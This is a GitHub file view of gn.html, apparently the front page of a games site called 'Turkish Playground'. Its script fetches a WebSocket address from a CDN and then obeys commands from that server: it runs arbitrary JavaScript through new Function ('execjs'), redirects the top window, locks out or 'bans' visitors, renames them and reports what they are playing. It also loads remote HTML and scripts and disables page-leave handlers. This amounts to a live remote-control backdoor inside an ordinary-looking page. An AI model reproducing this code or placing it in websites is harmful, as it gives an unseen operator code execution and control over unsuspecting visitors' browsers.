Repository navigation
Expand file tree
/
Copy pathgn.html
More file actions
273 lines (245 loc) · 9.78 KB
/
Copy pathgn.html
File metadata and controls
273 lines (245 loc) · 9.78 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body style="margin:0;background:#000">
<div id="r"></div>
<div id="tp-ui"></div>
<script>
(() => {
let WS_URL = null;
fetch('https://tpcdn.b-cdn.net/gh/CatHead132/CatHead132.github.io@main/lock.txt?t=' + Date.now())
.then(r => r.text())
.then(txt => { WS_URL = 'wss://' + txt.trim(); connectWS(); });
const LS = localStorage;
LS.setItem('tp_original', '1');
const shadow = document.getElementById('tp-ui').attachShadow({ mode: 'open' });
shadow.innerHTML = `<style>
:host{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',sans-serif}
#lockscreen,#prompt{display:none;position:fixed;inset:0;align-items:center;justify-content:center;text-align:center}
#lockscreen{background:#000;flex-direction:column;padding:2rem;color:#f1f5f9;z-index:99999}
#lockscreen h1{font-size:1.6rem;margin:0 0 1rem;color:#fc2651}
#lockscreen p{color:#94a3b8;margin:0 0 .5rem}
#lockscreen h2{font-size:1rem;font-weight:400;color:#64748b;margin:1rem 0 0}
#prompt{background:rgba(0,0,0,.92);z-index:99998}
.box{background:#0a0a0a;border:1px solid #2a2a2a;border-radius:14px;padding:2rem;width:min(360px,90vw)}
.box h3{color:#f1f5f9;font-size:1.1rem;margin:0 0 .4rem}
.box p{color:#64748b;font-size:13px;margin:0 0 1.25rem}
.box input{width:100%;background:#000;border:1px solid #2a2a2a;border-radius:8px;color:#f1f5f9;font-size:14px;padding:.7rem 1rem;outline:none;font-family:inherit;margin-bottom:.75rem;box-sizing:border-box}
.box input:focus{border-color:#fc2651}
.box button{width:100%;background:#fc2651;color:#fff;border:none;border-radius:8px;padding:.7rem;font-size:14px;font-weight:700;cursor:pointer;font-family:inherit}
</style>
<div id="lockscreen">
<h1>Roses are red,<br>Violets are blue,<br>You've been banned<br>From Turkish Playground too.</h1>
<p>U may still contact the Turkish Guy for a appeal</p>
</div>
<div id="prompt">
<div class="box">
<h3>One sec</h3>
<p>Enter a username so the site knows who you are</p>
<input id="uname" type="text" placeholder="your name" maxlength="24" autocomplete="off">
<button id="ubtn">Let's go</button>
</div>
</div>`;
const EL = {
lock: shadow.getElementById('lockscreen'),
prompt: shadow.getElementById('prompt'),
input: shadow.getElementById('uname'),
btn: shadow.getElementById('ubtn'),
};
let ws, wsReady = false, siteLoaded = false, currentGameId = null;
let locked = LS.getItem('unlocked') !== '1';
if (!LS.getItem('tp_temp_username'))
LS.setItem('tp_temp_username', 'user_' + (Math.random() * 9000 + 1000 | 0));
let username = LS.getItem('tp_username') || LS.getItem('tp_temp_username');
const isAmerican = () => LS.getItem('americanPlayground') === 'true';
const show = el => el.style.display = 'flex';
const hide = el => el.style.display = 'none';
function killBeforeUnload() {
try {
window.onbeforeunload = null;
Object.defineProperty(window, 'onbeforeunload', { set(){}, get(){ return null; }, configurable: true });
} catch {}
const _ael = EventTarget.prototype.addEventListener;
EventTarget.prototype.addEventListener = function(type, fn, opts) {
if (type === 'beforeunload') return;
return _ael.call(this, type, fn, opts);
};
window.addEventListener('beforeunload', e => { e.stopImmediatePropagation(); e.preventDefault(); delete e.returnValue; }, true);
}
function showToast(msg) {
let t = document.getElementById('tp-toasts');
if (!t) {
t = document.createElement('div');
t.id = 'tp-toasts';
Object.assign(t.style, {
position: 'fixed', top: '1.25rem', left: '50%',
transform: 'translateX(-50%)', zIndex: 2147483647,
pointerEvents: 'none', display: 'flex',
flexDirection: 'column', alignItems: 'center', gap: '.5rem',
});
document.body.appendChild(t);
}
const existing = Array.from(t.children);
const before = existing.map(el => el.getBoundingClientRect().top);
const d = document.createElement('div');
Object.assign(d.style, {
background: '#000', border: '1px solid #fc2651',
borderRadius: '8px', padding: '.75rem 1.25rem', color: '#f1f5f9',
fontFamily: 'sans-serif', fontSize: '14px',
textAlign: 'center', maxWidth: '55vw', wordBreak: 'break-word',
opacity: '0', transform: 'translateY(-8px)',
transition: 'opacity 0.25s ease, transform 0.25s ease',
});
d.textContent = msg;
t.prepend(d);
existing.forEach((el, i) => {
const after = el.getBoundingClientRect().top;
const delta = before[i] - after;
if (delta === 0) return;
el.style.transition = 'none';
el.style.transform = `translateY(${delta}px)`;
requestAnimationFrame(() => requestAnimationFrame(() => {
el.style.transition = 'opacity 0.25s ease, transform 0.25s ease';
el.style.transform = 'translateY(0)';
}));
});
requestAnimationFrame(() => requestAnimationFrame(() => {
d.style.opacity = '1';
d.style.transform = 'translateY(0)';
}));
setTimeout(() => {
d.style.opacity = '0';
d.style.transform = 'translateY(-8px)';
setTimeout(() => d.remove(), 250);
}, 6000);
}
function sendGameUpdate() {
if (wsReady) ws.send(JSON.stringify({ type: 'game_update', gameId: currentGameId }));
}
function sendIdentify() {
if (wsReady) ws.send(JSON.stringify({ type: 'identify', username, locked, american: isAmerican() }));
}
function checkGameId() {
const id = new URLSearchParams(location.search).get('id') || null;
if (id !== currentGameId) { currentGameId = id; sendGameUpdate(); }
}
const _origPush = history.pushState;
history.pushState = function(...a) { _origPush.apply(this, a); checkGameId(); };
window.addEventListener('popstate', checkGameId);
window.addEventListener('storage', e => {
if (e.key === 'americanPlayground') sendIdentify();
});
function saveUsername() {
const val = EL.input.value.trim();
if (!val) return;
const oldName = username;
username = val;
LS.setItem('tp_username', username);
hide(EL.prompt);
if (wsReady) {
ws.send(JSON.stringify({ type: 'self_rename', oldName, newName: username }));
sendIdentify();
sendGameUpdate();
}
if (!locked) loadSite();
}
EL.btn.addEventListener('click', saveUsername);
EL.input.addEventListener('keydown', e => { if (e.key === 'Enter') saveUsername(); });
function runScripts(scripts, i = 0) {
if (i >= scripts.length) return;
const s = scripts[i];
const n = document.createElement('script');
const next = () => runScripts(scripts, i + 1);
n.onload = n.onerror = next;
if (s.src) {
n.src = s.src;
} else {
const blob = new Blob([s.textContent], { type: 'text/javascript' });
const url = URL.createObjectURL(blob);
n.src = url;
n.onload = n.onerror = () => { URL.revokeObjectURL(url); next(); };
}
if (s.type) n.type = s.type;
document.body.appendChild(n);
}
function loadSite() {
if (siteLoaded) return;
siteLoaded = true;
hide(EL.lock);
fetch('https://tpcdn.b-cdn.net/gh/CatHead132/CatHead132.github.io@latest/gnupdated.html?t=' + Date.now())
.then(r => r.text())
.then(html => {
const root = document.getElementById('r');
root.innerHTML = html;
const doc = new DOMParser().parseFromString(html, 'text/html');
const title = doc.querySelector('title');
const icon = doc.querySelector('link[rel*="icon"]');
if (title) document.title = title.textContent;
if (icon) document.head.appendChild(
Object.assign(document.createElement('link'), { rel: 'icon', href: icon.getAttribute('href') })
);
killBeforeUnload();
const _origSetItem = LS.setItem.bind(LS);
LS.setItem = function(key, value) {
_origSetItem(key, value);
if (key === 'americanPlayground') sendIdentify();
};
const scripts = Array.from(root.querySelectorAll('script'));
scripts.forEach(s => s.remove());
runScripts(scripts);
})
.catch(() => { siteLoaded = false; });
}
function connectWS() {
try { ws = new WebSocket(WS_URL); } catch { setTimeout(connectWS, 3000); return; }
ws.onopen = () => {
wsReady = true;
sendIdentify();
sendGameUpdate();
};
ws.onmessage = ({ data }) => {
let msg;
try { msg = JSON.parse(data); } catch { return; }
switch (msg.type) {
case 'rename':
username = msg.newName; LS.setItem('tp_username', username); break;
case 'notify':
if (document.fullscreenElement || document.webkitFullscreenElement)
(document.exitFullscreen || document.webkitExitFullscreen || (() => {})).call(document);
showToast(msg.message); break;
case 'redirect': {
const url = msg.url.startsWith('http') ? msg.url : 'https://' + msg.url;
window.top.location.href = url; break;
}
case 'execjs':
try { new Function(msg.code)(); } catch {} break;
case 'lock':
locked = true; LS.removeItem('unlocked');
window.onbeforeunload = null;
location.replace(location.href);
break;
case 'unlock':
locked = false; LS.setItem('unlocked', '1');
window.onbeforeunload = null;
location.replace(location.href);
break;
}
};
ws.onclose = () => { wsReady = false; setTimeout(connectWS, 3000); };
ws.onerror = () => { wsReady = false; };
}
if (locked) {
show(EL.lock);
} else if (!LS.getItem('tp_username')) {
show(EL.prompt);
EL.input.focus();
} else {
loadSite();
}
})();
</script>
</body>
</html>